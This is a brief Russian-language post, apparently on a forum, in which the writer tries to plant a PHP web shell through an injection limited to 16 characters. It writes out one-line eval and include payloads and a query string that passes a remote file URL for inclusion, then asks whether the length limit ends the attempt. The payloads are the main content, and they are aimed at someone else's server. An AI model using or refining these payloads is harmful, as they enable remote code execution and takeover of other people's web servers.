<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало